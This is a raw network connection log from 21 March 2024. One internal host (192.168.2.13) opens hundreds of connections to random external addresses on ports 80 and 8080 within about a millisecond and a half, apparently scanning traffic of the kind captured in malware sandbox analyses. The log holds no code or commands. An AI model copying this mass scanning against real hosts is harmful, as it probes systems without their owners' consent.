Mar 21, 2024 05:21:47.389368057 CET	50480	80	192.168.2.13	178.156.235.237
Mar 21, 2024 05:21:47.389374971 CET	49968	80	192.168.2.13	80.250.3.138
Mar 21, 2024 05:21:47.389384031 CET	50480	80	192.168.2.13	178.207.33.184
Mar 21, 2024 05:21:47.389384031 CET	50480	80	192.168.2.13	178.248.52.47
Mar 21, 2024 05:21:47.389393091 CET	50480	80	192.168.2.13	178.155.193.140
Mar 21, 2024 05:21:47.389393091 CET	49968	80	192.168.2.13	178.183.144.52
Mar 21, 2024 05:21:47.389394045 CET	50480	80	192.168.2.13	178.205.119.226
Mar 21, 2024 05:21:47.389394045 CET	50480	80	192.168.2.13	178.2.208.45
Mar 21, 2024 05:21:47.389416933 CET	49968	80	192.168.2.13	83.83.132.153
Mar 21, 2024 05:21:47.389416933 CET	50480	80	192.168.2.13	178.204.219.116
Mar 21, 2024 05:21:47.389416933 CET	50480	80	192.168.2.13	178.185.102.13
Mar 21, 2024 05:21:47.389416933 CET	50480	80	192.168.2.13	178.90.81.17
Mar 21, 2024 05:21:47.389416933 CET	50480	80	192.168.2.13	178.213.244.254
Mar 21, 2024 05:21:47.389417887 CET	50480	80	192.168.2.13	178.227.118.60
Mar 21, 2024 05:21:47.389424086 CET	49968	80	192.168.2.13	200.163.193.52
Mar 21, 2024 05:21:47.389425993 CET	49968	80	192.168.2.13	86.102.6.188
Mar 21, 2024 05:21:47.389425993 CET	49968	80	192.168.2.13	86.219.50.71
Mar 21, 2024 05:21:47.389425993 CET	49968	80	192.168.2.13	206.198.93.10
Mar 21, 2024 05:21:47.389425993 CET	50480	80	192.168.2.13	178.6.135.166
Mar 21, 2024 05:21:47.389425993 CET	50480	80	192.168.2.13	178.72.1.43
Mar 21, 2024 05:21:47.389434099 CET	50480	80	192.168.2.13	178.73.235.111
Mar 21, 2024 05:21:47.389440060 CET	50480	80	192.168.2.13	178.103.238.32
Mar 21, 2024 05:21:47.389446974 CET	50480	80	192.168.2.13	178.117.125.73
Mar 21, 2024 05:21:47.389452934 CET	50480	80	192.168.2.13	178.70.45.158
Mar 21, 2024 05:21:47.389456987 CET	50480	80	192.168.2.13	178.150.39.139
Mar 21, 2024 05:21:47.389472961 CET	50480	80	192.168.2.13	178.248.40.79
Mar 21, 2024 05:21:47.389501095 CET	50480	80	192.168.2.13	178.84.131.151
Mar 21, 2024 05:21:47.389503956 CET	50480	80	192.168.2.13	178.52.21.23
Mar 21, 2024 05:21:47.389503956 CET	50480	80	192.168.2.13	178.224.211.248
Mar 21, 2024 05:21:47.389508009 CET	50480	80	192.168.2.13	178.180.237.140
Mar 21, 2024 05:21:47.389512062 CET	50480	80	192.168.2.13	178.205.229.73
Mar 21, 2024 05:21:47.389537096 CET	50480	80	192.168.2.13	178.115.132.136
Mar 21, 2024 05:21:47.389539003 CET	50480	80	192.168.2.13	178.80.176.97
Mar 21, 2024 05:21:47.389539003 CET	50480	80	192.168.2.13	178.238.102.111
Mar 21, 2024 05:21:47.389542103 CET	50480	80	192.168.2.13	178.146.213.42
Mar 21, 2024 05:21:47.389542103 CET	50480	80	192.168.2.13	178.74.130.102
Mar 21, 2024 05:21:47.389542103 CET	50480	80	192.168.2.13	178.199.36.35
Mar 21, 2024 05:21:47.389552116 CET	50480	80	192.168.2.13	178.150.77.0
Mar 21, 2024 05:21:47.389583111 CET	50480	80	192.168.2.13	178.243.134.96
Mar 21, 2024 05:21:47.389585972 CET	50480	80	192.168.2.13	178.101.110.247
Mar 21, 2024 05:21:47.389589071 CET	50480	80	192.168.2.13	178.28.139.152
Mar 21, 2024 05:21:47.389592886 CET	50480	80	192.168.2.13	178.103.99.4
Mar 21, 2024 05:21:47.389594078 CET	50480	80	192.168.2.13	178.44.208.203
Mar 21, 2024 05:21:47.389640093 CET	50480	80	192.168.2.13	178.153.116.54
Mar 21, 2024 05:21:47.389647007 CET	50480	80	192.168.2.13	178.224.129.59
Mar 21, 2024 05:21:47.389653921 CET	50480	80	192.168.2.13	178.75.85.120
Mar 21, 2024 05:21:47.389656067 CET	50480	80	192.168.2.13	178.241.171.179
Mar 21, 2024 05:21:47.389661074 CET	50480	80	192.168.2.13	178.101.196.13
Mar 21, 2024 05:21:47.389666080 CET	50480	80	192.168.2.13	178.7.75.231
Mar 21, 2024 05:21:47.389672041 CET	50480	80	192.168.2.13	178.205.238.238
Mar 21, 2024 05:21:47.389672041 CET	50480	80	192.168.2.13	178.173.129.126
Mar 21, 2024 05:21:47.389674902 CET	50480	80	192.168.2.13	178.57.180.144
Mar 21, 2024 05:21:47.389676094 CET	50480	80	192.168.2.13	178.75.111.119
Mar 21, 2024 05:21:47.389674902 CET	50480	80	192.168.2.13	178.32.25.179
Mar 21, 2024 05:21:47.389679909 CET	50480	80	192.168.2.13	178.226.174.143
Mar 21, 2024 05:21:47.389689922 CET	50480	80	192.168.2.13	178.150.86.108
Mar 21, 2024 05:21:47.389699936 CET	50480	80	192.168.2.13	178.114.167.19
Mar 21, 2024 05:21:47.389698982 CET	50480	80	192.168.2.13	178.234.52.30
Mar 21, 2024 05:21:47.389707088 CET	50480	80	192.168.2.13	178.10.240.218
Mar 21, 2024 05:21:47.389734983 CET	50480	80	192.168.2.13	178.16.234.210
Mar 21, 2024 05:21:47.389750004 CET	50480	80	192.168.2.13	178.66.70.83
Mar 21, 2024 05:21:47.389764071 CET	50480	80	192.168.2.13	178.188.207.201
Mar 21, 2024 05:21:47.389766932 CET	50480	80	192.168.2.13	178.231.47.42
Mar 21, 2024 05:21:47.389767885 CET	50480	80	192.168.2.13	178.59.203.246
Mar 21, 2024 05:21:47.389777899 CET	50480	80	192.168.2.13	178.103.210.27
Mar 21, 2024 05:21:47.389777899 CET	50480	80	192.168.2.13	178.88.60.82
Mar 21, 2024 05:21:47.389794111 CET	50480	80	192.168.2.13	178.113.144.74
Mar 21, 2024 05:21:47.389794111 CET	50480	80	192.168.2.13	178.188.149.22
Mar 21, 2024 05:21:47.389797926 CET	50480	80	192.168.2.13	178.169.148.226
Mar 21, 2024 05:21:47.389803886 CET	50480	80	192.168.2.13	178.175.70.14
Mar 21, 2024 05:21:47.389822006 CET	50480	80	192.168.2.13	178.12.208.25
Mar 21, 2024 05:21:47.389822006 CET	50480	80	192.168.2.13	178.155.245.109
Mar 21, 2024 05:21:47.389843941 CET	50480	80	192.168.2.13	178.16.142.180
Mar 21, 2024 05:21:47.389863014 CET	50480	80	192.168.2.13	178.127.78.0
Mar 21, 2024 05:21:47.389863014 CET	50480	80	192.168.2.13	178.10.222.15
Mar 21, 2024 05:21:47.389868975 CET	50480	80	192.168.2.13	178.115.35.135
Mar 21, 2024 05:21:47.389877081 CET	50480	80	192.168.2.13	178.25.198.18
Mar 21, 2024 05:21:47.389877081 CET	50480	80	192.168.2.13	178.138.33.113
Mar 21, 2024 05:21:47.389883041 CET	50480	80	192.168.2.13	178.86.46.17
Mar 21, 2024 05:21:47.389889002 CET	50480	80	192.168.2.13	178.166.197.156
Mar 21, 2024 05:21:47.389892101 CET	50480	80	192.168.2.13	178.243.160.241
Mar 21, 2024 05:21:47.389909983 CET	50480	80	192.168.2.13	178.139.11.200
Mar 21, 2024 05:21:47.389920950 CET	50480	80	192.168.2.13	178.165.43.123
Mar 21, 2024 05:21:47.389924049 CET	50480	80	192.168.2.13	178.31.152.214
Mar 21, 2024 05:21:47.389928102 CET	50480	80	192.168.2.13	178.165.132.70
Mar 21, 2024 05:21:47.389946938 CET	50480	80	192.168.2.13	178.25.47.214
Mar 21, 2024 05:21:47.389946938 CET	50480	80	192.168.2.13	178.115.212.232
Mar 21, 2024 05:21:47.389955044 CET	50480	80	192.168.2.13	178.196.191.114
Mar 21, 2024 05:21:47.389971018 CET	50480	80	192.168.2.13	178.238.173.104
Mar 21, 2024 05:21:47.389972925 CET	50480	80	192.168.2.13	178.81.105.131
Mar 21, 2024 05:21:47.389972925 CET	50480	80	192.168.2.13	178.180.196.206
Mar 21, 2024 05:21:47.389978886 CET	50480	80	192.168.2.13	178.103.144.208
Mar 21, 2024 05:21:47.389995098 CET	50480	80	192.168.2.13	178.156.74.52
Mar 21, 2024 05:21:47.390002012 CET	49712	8080	192.168.2.13	98.123.87.105
Mar 21, 2024 05:21:47.390006065 CET	50480	80	192.168.2.13	178.165.245.170
Mar 21, 2024 05:21:47.390008926 CET	50480	80	192.168.2.13	178.193.53.59
Mar 21, 2024 05:21:47.390012026 CET	50480	80	192.168.2.13	178.80.1.175
Mar 21, 2024 05:21:47.390018940 CET	49712	8080	192.168.2.13	98.198.177.106
Mar 21, 2024 05:21:47.390023947 CET	49712	8080	192.168.2.13	172.208.73.118
Mar 21, 2024 05:21:47.390026093 CET	50480	80	192.168.2.13	178.67.149.153
Mar 21, 2024 05:21:47.390026093 CET	50480	80	192.168.2.13	178.85.54.127
Mar 21, 2024 05:21:47.390031099 CET	50480	80	192.168.2.13	178.197.102.174
Mar 21, 2024 05:21:47.390032053 CET	49712	8080	192.168.2.13	184.184.189.238
Mar 21, 2024 05:21:47.390043020 CET	50480	80	192.168.2.13	178.240.145.63
Mar 21, 2024 05:21:47.390050888 CET	49712	8080	192.168.2.13	98.86.50.67
Mar 21, 2024 05:21:47.390050888 CET	50480	80	192.168.2.13	178.236.45.168
Mar 21, 2024 05:21:47.390067101 CET	50480	80	192.168.2.13	178.41.118.224
Mar 21, 2024 05:21:47.390072107 CET	49712	8080	192.168.2.13	98.104.214.184
Mar 21, 2024 05:21:47.390072107 CET	49712	8080	192.168.2.13	98.181.47.43
Mar 21, 2024 05:21:47.390073061 CET	49712	8080	192.168.2.13	172.238.216.53
Mar 21, 2024 05:21:47.390073061 CET	50480	80	192.168.2.13	178.191.202.188
Mar 21, 2024 05:21:47.390073061 CET	49712	8080	192.168.2.13	184.83.177.115
Mar 21, 2024 05:21:47.390075922 CET	50480	80	192.168.2.13	178.225.67.14
Mar 21, 2024 05:21:47.390077114 CET	50480	80	192.168.2.13	178.150.197.219
Mar 21, 2024 05:21:47.390077114 CET	49712	8080	192.168.2.13	98.104.207.60
Mar 21, 2024 05:21:47.390077114 CET	49712	8080	192.168.2.13	172.141.5.238
Mar 21, 2024 05:21:47.390077114 CET	50480	80	192.168.2.13	178.15.207.181
Mar 21, 2024 05:21:47.390085936 CET	50480	80	192.168.2.13	178.110.168.121
Mar 21, 2024 05:21:47.390085936 CET	50480	80	192.168.2.13	178.47.226.98
Mar 21, 2024 05:21:47.390090942 CET	50480	80	192.168.2.13	178.15.131.163
Mar 21, 2024 05:21:47.390090942 CET	50480	80	192.168.2.13	178.32.144.137
Mar 21, 2024 05:21:47.390094995 CET	50480	80	192.168.2.13	178.121.168.131
Mar 21, 2024 05:21:47.390094995 CET	49712	8080	192.168.2.13	184.221.126.139
Mar 21, 2024 05:21:47.390095949 CET	49712	8080	192.168.2.13	98.223.28.24
Mar 21, 2024 05:21:47.390113115 CET	49712	8080	192.168.2.13	184.148.161.6
Mar 21, 2024 05:21:47.390113115 CET	50480	80	192.168.2.13	178.101.18.0
Mar 21, 2024 05:21:47.390126944 CET	49712	8080	192.168.2.13	98.174.43.114
Mar 21, 2024 05:21:47.390131950 CET	49712	8080	192.168.2.13	98.17.70.6
Mar 21, 2024 05:21:47.390131950 CET	50480	80	192.168.2.13	178.26.11.1
Mar 21, 2024 05:21:47.390136003 CET	50480	80	192.168.2.13	178.34.151.215
Mar 21, 2024 05:21:47.390136003 CET	49712	8080	192.168.2.13	172.13.239.18
Mar 21, 2024 05:21:47.390140057 CET	49712	8080	192.168.2.13	98.53.62.205
Mar 21, 2024 05:21:47.390141010 CET	49712	8080	192.168.2.13	172.109.215.173
Mar 21, 2024 05:21:47.390146971 CET	50480	80	192.168.2.13	178.143.180.46
Mar 21, 2024 05:21:47.390151978 CET	50480	80	192.168.2.13	178.205.52.147
Mar 21, 2024 05:21:47.390152931 CET	49712	8080	192.168.2.13	184.252.137.34
Mar 21, 2024 05:21:47.390155077 CET	49712	8080	192.168.2.13	172.160.18.19
Mar 21, 2024 05:21:47.390160084 CET	49712	8080	192.168.2.13	172.252.135.1
Mar 21, 2024 05:21:47.390160084 CET	49712	8080	192.168.2.13	184.169.254.245
Mar 21, 2024 05:21:47.390166044 CET	49712	8080	192.168.2.13	184.113.91.99
Mar 21, 2024 05:21:47.390170097 CET	50480	80	192.168.2.13	178.250.45.104
Mar 21, 2024 05:21:47.390170097 CET	50480	80	192.168.2.13	178.187.179.71
Mar 21, 2024 05:21:47.390172005 CET	49712	8080	192.168.2.13	184.54.86.105
Mar 21, 2024 05:21:47.390172005 CET	49712	8080	192.168.2.13	98.200.213.43
Mar 21, 2024 05:21:47.390178919 CET	49712	8080	192.168.2.13	98.79.48.123
Mar 21, 2024 05:21:47.390192032 CET	50480	80	192.168.2.13	178.20.171.125
Mar 21, 2024 05:21:47.390192986 CET	49712	8080	192.168.2.13	184.110.125.66
Mar 21, 2024 05:21:47.390192032 CET	50480	80	192.168.2.13	178.166.199.219
Mar 21, 2024 05:21:47.390197039 CET	49712	8080	192.168.2.13	184.209.104.221
Mar 21, 2024 05:21:47.390192986 CET	49712	8080	192.168.2.13	98.186.40.228
Mar 21, 2024 05:21:47.390197039 CET	49712	8080	192.168.2.13	172.155.167.245
Mar 21, 2024 05:21:47.390192986 CET	49712	8080	192.168.2.13	172.150.121.152
Mar 21, 2024 05:21:47.390192986 CET	50480	80	192.168.2.13	178.204.35.137
Mar 21, 2024 05:21:47.390192986 CET	50480	80	192.168.2.13	178.61.245.209
Mar 21, 2024 05:21:47.390212059 CET	50480	80	192.168.2.13	178.58.192.138
Mar 21, 2024 05:21:47.390212059 CET	50480	80	192.168.2.13	178.128.199.62
Mar 21, 2024 05:21:47.390212059 CET	49712	8080	192.168.2.13	98.161.211.163
Mar 21, 2024 05:21:47.390212059 CET	50480	80	192.168.2.13	178.163.30.197
Mar 21, 2024 05:21:47.390212059 CET	49712	8080	192.168.2.13	98.167.30.62
Mar 21, 2024 05:21:47.390218019 CET	49712	8080	192.168.2.13	184.154.198.234
Mar 21, 2024 05:21:47.390221119 CET	49712	8080	192.168.2.13	172.72.31.156
Mar 21, 2024 05:21:47.390222073 CET	49712	8080	192.168.2.13	98.235.160.187
Mar 21, 2024 05:21:47.390228033 CET	50480	80	192.168.2.13	178.53.149.4
Mar 21, 2024 05:21:47.390228987 CET	50480	80	192.168.2.13	178.170.234.154
Mar 21, 2024 05:21:47.390228033 CET	49712	8080	192.168.2.13	98.45.17.214
Mar 21, 2024 05:21:47.390254974 CET	50480	80	192.168.2.13	178.80.72.93
Mar 21, 2024 05:21:47.390254974 CET	50480	80	192.168.2.13	178.220.78.51
Mar 21, 2024 05:21:47.390259981 CET	50480	80	192.168.2.13	178.114.129.30
Mar 21, 2024 05:21:47.390259981 CET	49712	8080	192.168.2.13	172.127.145.117
Mar 21, 2024 05:21:47.390259981 CET	49712	8080	192.168.2.13	184.189.116.239
Mar 21, 2024 05:21:47.390264034 CET	49712	8080	192.168.2.13	172.137.121.114
Mar 21, 2024 05:21:47.390264034 CET	49712	8080	192.168.2.13	172.64.20.25
Mar 21, 2024 05:21:47.390259981 CET	49712	8080	192.168.2.13	184.121.79.170
Mar 21, 2024 05:21:47.390279055 CET	49712	8080	192.168.2.13	98.122.146.91
Mar 21, 2024 05:21:47.390279055 CET	50480	80	192.168.2.13	178.153.130.26
Mar 21, 2024 05:21:47.390279055 CET	49712	8080	192.168.2.13	98.89.22.64
Mar 21, 2024 05:21:47.390283108 CET	50480	80	192.168.2.13	178.109.254.190
Mar 21, 2024 05:21:47.390297890 CET	50480	80	192.168.2.13	178.248.240.145
Mar 21, 2024 05:21:47.390307903 CET	50480	80	192.168.2.13	178.74.239.216
Mar 21, 2024 05:21:47.390309095 CET	49712	8080	192.168.2.13	184.1.91.212
Mar 21, 2024 05:21:47.390309095 CET	49712	8080	192.168.2.13	172.166.128.136
Mar 21, 2024 05:21:47.390309095 CET	49712	8080	192.168.2.13	172.206.217.19
Mar 21, 2024 05:21:47.390316010 CET	50480	80	192.168.2.13	178.40.176.184
Mar 21, 2024 05:21:47.390320063 CET	50480	80	192.168.2.13	178.83.200.86
Mar 21, 2024 05:21:47.390320063 CET	50480	80	192.168.2.13	178.232.87.34
Mar 21, 2024 05:21:47.390324116 CET	49712	8080	192.168.2.13	184.114.78.201
Mar 21, 2024 05:21:47.390326023 CET	50480	80	192.168.2.13	178.21.205.40
Mar 21, 2024 05:21:47.390326023 CET	49712	8080	192.168.2.13	184.253.139.141
Mar 21, 2024 05:21:47.390326023 CET	49712	8080	192.168.2.13	184.145.176.245
Mar 21, 2024 05:21:47.390326023 CET	49712	8080	192.168.2.13	98.53.129.132
Mar 21, 2024 05:21:47.390326023 CET	50480	80	192.168.2.13	178.50.149.93
Mar 21, 2024 05:21:47.390331030 CET	50480	80	192.168.2.13	178.25.7.90
Mar 21, 2024 05:21:47.390331984 CET	49712	8080	192.168.2.13	98.122.107.211
Mar 21, 2024 05:21:47.390340090 CET	50480	80	192.168.2.13	178.53.117.193
Mar 21, 2024 05:21:47.390341043 CET	49712	8080	192.168.2.13	184.210.198.96
Mar 21, 2024 05:21:47.390342951 CET	50480	80	192.168.2.13	178.241.6.151
Mar 21, 2024 05:21:47.390352011 CET	50480	80	192.168.2.13	178.139.138.138
Mar 21, 2024 05:21:47.390352964 CET	50480	80	192.168.2.13	178.201.103.114
Mar 21, 2024 05:21:47.390356064 CET	50480	80	192.168.2.13	178.223.65.253
Mar 21, 2024 05:21:47.390356064 CET	49712	8080	192.168.2.13	172.52.197.153
Mar 21, 2024 05:21:47.390362978 CET	49712	8080	192.168.2.13	184.183.120.250
Mar 21, 2024 05:21:47.390368938 CET	50480	80	192.168.2.13	178.195.196.187
Mar 21, 2024 05:21:47.390378952 CET	50480	80	192.168.2.13	178.2.174.9
Mar 21, 2024 05:21:47.390388966 CET	49712	8080	192.168.2.13	98.193.119.49
Mar 21, 2024 05:21:47.390400887 CET	49712	8080	192.168.2.13	172.18.34.235
Mar 21, 2024 05:21:47.390403986 CET	50480	80	192.168.2.13	178.232.137.67
Mar 21, 2024 05:21:47.390403986 CET	49712	8080	192.168.2.13	184.242.182.134
Mar 21, 2024 05:21:47.390403986 CET	50480	80	192.168.2.13	178.139.213.69
Mar 21, 2024 05:21:47.390403986 CET	49712	8080	192.168.2.13	184.55.111.107
Mar 21, 2024 05:21:47.390403986 CET	50480	80	192.168.2.13	178.100.142.82
Mar 21, 2024 05:21:47.390420914 CET	49712	8080	192.168.2.13	98.0.234.62
Mar 21, 2024 05:21:47.390425920 CET	50480	80	192.168.2.13	178.93.94.21
Mar 21, 2024 05:21:47.390425920 CET	50480	80	192.168.2.13	178.97.11.158
Mar 21, 2024 05:21:47.390433073 CET	49712	8080	192.168.2.13	184.51.245.41
Mar 21, 2024 05:21:47.390434027 CET	49712	8080	192.168.2.13	172.37.245.137
Mar 21, 2024 05:21:47.390434027 CET	50480	80	192.168.2.13	178.105.55.186
Mar 21, 2024 05:21:47.390434027 CET	50480	80	192.168.2.13	178.191.3.229
Mar 21, 2024 05:21:47.390434027 CET	49712	8080	192.168.2.13	172.117.110.170
Mar 21, 2024 05:21:47.390434027 CET	49712	8080	192.168.2.13	98.185.92.24
Mar 21, 2024 05:21:47.390434027 CET	49712	8080	192.168.2.13	98.81.205.32
Mar 21, 2024 05:21:47.390440941 CET	50480	80	192.168.2.13	178.4.155.194
Mar 21, 2024 05:21:47.390449047 CET	49712	8080	192.168.2.13	184.73.1.125
Mar 21, 2024 05:21:47.390449047 CET	49712	8080	192.168.2.13	172.53.125.87
Mar 21, 2024 05:21:47.390449047 CET	49712	8080	192.168.2.13	172.165.167.91
Mar 21, 2024 05:21:47.390450954 CET	49712	8080	192.168.2.13	172.105.215.43
Mar 21, 2024 05:21:47.390454054 CET	50480	80	192.168.2.13	178.86.108.118
Mar 21, 2024 05:21:47.390454054 CET	49712	8080	192.168.2.13	172.149.195.53
Mar 21, 2024 05:21:47.390455961 CET	50480	80	192.168.2.13	178.26.31.141
Mar 21, 2024 05:21:47.390461922 CET	50480	80	192.168.2.13	178.211.125.4
Mar 21, 2024 05:21:47.390465021 CET	50480	80	192.168.2.13	178.148.120.88
Mar 21, 2024 05:21:47.390465021 CET	49712	8080	192.168.2.13	184.87.208.104
Mar 21, 2024 05:21:47.390486956 CET	49712	8080	192.168.2.13	184.7.15.125
Mar 21, 2024 05:21:47.390487909 CET	50480	80	192.168.2.13	178.112.107.18
Mar 21, 2024 05:21:47.390487909 CET	50480	80	192.168.2.13	178.213.118.90
Mar 21, 2024 05:21:47.390490055 CET	49712	8080	192.168.2.13	172.138.183.217
Mar 21, 2024 05:21:47.390490055 CET	50480	80	192.168.2.13	178.84.83.72
Mar 21, 2024 05:21:47.390490055 CET	50480	80	192.168.2.13	178.109.239.35
Mar 21, 2024 05:21:47.390490055 CET	49712	8080	192.168.2.13	184.139.31.196
Mar 21, 2024 05:21:47.390490055 CET	50480	80	192.168.2.13	178.237.202.212
Mar 21, 2024 05:21:47.390494108 CET	49712	8080	192.168.2.13	172.21.175.93
Mar 21, 2024 05:21:47.390499115 CET	50480	80	192.168.2.13	178.12.42.216
Mar 21, 2024 05:21:47.390499115 CET	49712	8080	192.168.2.13	184.170.84.140
Mar 21, 2024 05:21:47.390507936 CET	49712	8080	192.168.2.13	184.243.244.97
Mar 21, 2024 05:21:47.390507936 CET	49712	8080	192.168.2.13	172.54.60.99
Mar 21, 2024 05:21:47.390516043 CET	49712	8080	192.168.2.13	184.179.189.134
Mar 21, 2024 05:21:47.390530109 CET	49712	8080	192.168.2.13	172.136.181.231
Mar 21, 2024 05:21:47.390532017 CET	49712	8080	192.168.2.13	172.182.203.21
Mar 21, 2024 05:21:47.390537024 CET	49712	8080	192.168.2.13	98.6.139.139
Mar 21, 2024 05:21:47.390547037 CET	49712	8080	192.168.2.13	184.205.52.64
Mar 21, 2024 05:21:47.390559912 CET	49712	8080	192.168.2.13	184.147.32.231
Mar 21, 2024 05:21:47.390567064 CET	50480	80	192.168.2.13	178.6.38.105
Mar 21, 2024 05:21:47.390573025 CET	50480	80	192.168.2.13	178.142.27.185
Mar 21, 2024 05:21:47.390571117 CET	49712	8080	192.168.2.13	184.146.135.251
Mar 21, 2024 05:21:47.390575886 CET	50480	80	192.168.2.13	178.185.131.24
Mar 21, 2024 05:21:47.390577078 CET	50480	80	192.168.2.13	178.9.108.85
Mar 21, 2024 05:21:47.390575886 CET	49712	8080	192.168.2.13	172.243.34.25
Mar 21, 2024 05:21:47.390582085 CET	49712	8080	192.168.2.13	98.252.195.179
Mar 21, 2024 05:21:47.390575886 CET	49712	8080	192.168.2.13	172.154.28.100
Mar 21, 2024 05:21:47.390582085 CET	50480	80	192.168.2.13	178.134.213.5
Mar 21, 2024 05:21:47.390575886 CET	50480	80	192.168.2.13	178.183.35.31
Mar 21, 2024 05:21:47.390575886 CET	49712	8080	192.168.2.13	172.242.220.196
Mar 21, 2024 05:21:47.390577078 CET	49712	8080	192.168.2.13	184.92.66.66
Mar 21, 2024 05:21:47.390575886 CET	50480	80	192.168.2.13	178.26.89.240
Mar 21, 2024 05:21:47.390598059 CET	50480	80	192.168.2.13	178.26.105.16
Mar 21, 2024 05:21:47.390598059 CET	50480	80	192.168.2.13	178.157.254.214
Mar 21, 2024 05:21:47.390609026 CET	50480	80	192.168.2.13	178.65.172.3
Mar 21, 2024 05:21:47.390626907 CET	50480	80	192.168.2.13	178.73.33.132
Mar 21, 2024 05:21:47.390633106 CET	49712	8080	192.168.2.13	172.82.97.33
Mar 21, 2024 05:21:47.390633106 CET	50480	80	192.168.2.13	178.46.19.109
Mar 21, 2024 05:21:47.390633106 CET	49712	8080	192.168.2.13	98.109.106.104
Mar 21, 2024 05:21:47.390635014 CET	50480	80	192.168.2.13	178.215.138.94
Mar 21, 2024 05:21:47.390635014 CET	50480	80	192.168.2.13	178.226.178.247
Mar 21, 2024 05:21:47.390640020 CET	50480	80	192.168.2.13	178.227.189.61
Mar 21, 2024 05:21:47.390640020 CET	49712	8080	192.168.2.13	184.23.57.62
Mar 21, 2024 05:21:47.390640974 CET	50480	80	192.168.2.13	178.60.251.211
Mar 21, 2024 05:21:47.390649080 CET	49712	8080	192.168.2.13	98.187.203.139
Mar 21, 2024 05:21:47.390652895 CET	50480	80	192.168.2.13	178.208.223.88
Mar 21, 2024 05:21:47.390652895 CET	50480	80	192.168.2.13	178.146.7.197
Mar 21, 2024 05:21:47.390652895 CET	49712	8080	192.168.2.13	172.239.37.244
Mar 21, 2024 05:21:47.390652895 CET	49712	8080	192.168.2.13	98.254.24.246
Mar 21, 2024 05:21:47.390657902 CET	50480	80	192.168.2.13	178.14.181.2
Mar 21, 2024 05:21:47.390657902 CET	49712	8080	192.168.2.13	172.32.183.8
Mar 21, 2024 05:21:47.390661955 CET	49712	8080	192.168.2.13	172.118.159.229
Mar 21, 2024 05:21:47.390671968 CET	49712	8080	192.168.2.13	184.252.173.58
Mar 21, 2024 05:21:47.390697956 CET	50480	80	192.168.2.13	178.181.121.174
Mar 21, 2024 05:21:47.390697956 CET	50480	80	192.168.2.13	178.126.43.228
Mar 21, 2024 05:21:47.390702009 CET	50480	80	192.168.2.13	178.166.99.152
Mar 21, 2024 05:21:47.390702009 CET	49712	8080	192.168.2.13	98.88.46.78
Mar 21, 2024 05:21:47.390702009 CET	49712	8080	192.168.2.13	184.56.155.80
Mar 21, 2024 05:21:47.390702009 CET	49712	8080	192.168.2.13	98.219.199.216
Mar 21, 2024 05:21:47.390705109 CET	49712	8080	192.168.2.13	184.22.103.126
Mar 21, 2024 05:21:47.390705109 CET	49712	8080	192.168.2.13	184.252.236.234
Mar 21, 2024 05:21:47.390711069 CET	49712	8080	192.168.2.13	184.204.145.12
Mar 21, 2024 05:21:47.390713930 CET	50480	80	192.168.2.13	178.36.242.80
Mar 21, 2024 05:21:47.390714884 CET	49712	8080	192.168.2.13	172.231.10.209
Mar 21, 2024 05:21:47.390719891 CET	49712	8080	192.168.2.13	172.165.8.212
Mar 21, 2024 05:21:47.390719891 CET	50480	80	192.168.2.13	178.243.125.57
Mar 21, 2024 05:21:47.390719891 CET	50480	80	192.168.2.13	178.20.66.169
Mar 21, 2024 05:21:47.390719891 CET	50480	80	192.168.2.13	178.111.222.175
Mar 21, 2024 05:21:47.390724897 CET	49712	8080	192.168.2.13	172.248.95.27
Mar 21, 2024 05:21:47.390724897 CET	50480	80	192.168.2.13	178.82.224.84
Mar 21, 2024 05:21:47.390734911 CET	49712	8080	192.168.2.13	172.93.90.171
Mar 21, 2024 05:21:47.390736103 CET	50480	80	192.168.2.13	178.253.237.230
Mar 21, 2024 05:21:47.390736103 CET	49712	8080	192.168.2.13	98.94.151.117
Mar 21, 2024 05:21:47.390736103 CET	50480	80	192.168.2.13	178.150.145.94
Mar 21, 2024 05:21:47.390744925 CET	50480	80	192.168.2.13	178.26.169.231
Mar 21, 2024 05:21:47.390744925 CET	49712	8080	192.168.2.13	184.184.184.64
Mar 21, 2024 05:21:47.390760899 CET	50480	80	192.168.2.13	178.168.176.249
Mar 21, 2024 05:21:47.390767097 CET	49712	8080	192.168.2.13	172.70.157.143
Mar 21, 2024 05:21:47.390767097 CET	50480	80	192.168.2.13	178.10.167.141
Mar 21, 2024 05:21:47.390769958 CET	49712	8080	192.168.2.13	98.220.135.32
Mar 21, 2024 05:21:47.390780926 CET	49712	8080	192.168.2.13	184.48.61.58
Mar 21, 2024 05:21:47.390782118 CET	50480	80	192.168.2.13	178.199.72.17
Mar 21, 2024 05:21:47.390783072 CET	50480	80	192.168.2.13	178.253.110.17
Mar 21, 2024 05:21:47.390780926 CET	49712	8080	192.168.2.13	184.30.156.144
Mar 21, 2024 05:21:47.390780926 CET	50480	80	192.168.2.13	178.232.47.165
Mar 21, 2024 05:21:47.390790939 CET	50480	80	192.168.2.13	178.247.189.50
Mar 21, 2024 05:21:47.390790939 CET	50480	80	192.168.2.13	178.194.38.12
Mar 21, 2024 05:21:47.390790939 CET	50480	80	192.168.2.13	178.192.113.154
Mar 21, 2024 05:21:47.390790939 CET	49712	8080	192.168.2.13	98.52.18.101
Mar 21, 2024 05:21:47.390799999 CET	50480	80	192.168.2.13	178.139.16.141
Mar 21, 2024 05:21:47.390799999 CET	49712	8080	192.168.2.13	184.39.12.21
Mar 21, 2024 05:21:47.390800953 CET	50480	80	192.168.2.13	178.105.3.174
Mar 21, 2024 05:21:47.390799999 CET	50480	80	192.168.2.13	178.187.89.66
Mar 21, 2024 05:21:47.390799999 CET	49712	8080	192.168.2.13	98.66.112.48
Mar 21, 2024 05:21:47.390809059 CET	49712	8080	192.168.2.13	184.235.57.57
Mar 21, 2024 05:21:47.390809059 CET	49712	8080	192.168.2.13	98.191.59.75
Mar 21, 2024 05:21:47.390810966 CET	49712	8080	192.168.2.13	98.71.128.255
Mar 21, 2024 05:21:47.390810966 CET	49712	8080	192.168.2.13	172.177.87.164
Mar 21, 2024 05:21:47.390810966 CET	50480	80	192.168.2.13	178.203.28.82
Mar 21, 2024 05:21:47.390810966 CET	49712	8080	192.168.2.13	172.113.114.161
Mar 21, 2024 05:21:47.390810966 CET	50480	80	192.168.2.13	178.195.55.113
Mar 21, 2024 05:21:47.390816927 CET	49712	8080	192.168.2.13	184.235.51.199
Mar 21, 2024 05:21:47.390844107 CET	50480	80	192.168.2.13	178.40.57.140
Mar 21, 2024 05:21:47.390844107 CET	50480	80	192.168.2.13	178.215.178.73
Mar 21, 2024 05:21:47.390844107 CET	50480	80	192.168.2.13	178.113.82.180
Mar 21, 2024 05:21:47.390856028 CET	50480	80	192.168.2.13	178.23.95.29
Mar 21, 2024 05:21:47.390861988 CET	50480	80	192.168.2.13	178.61.61.53
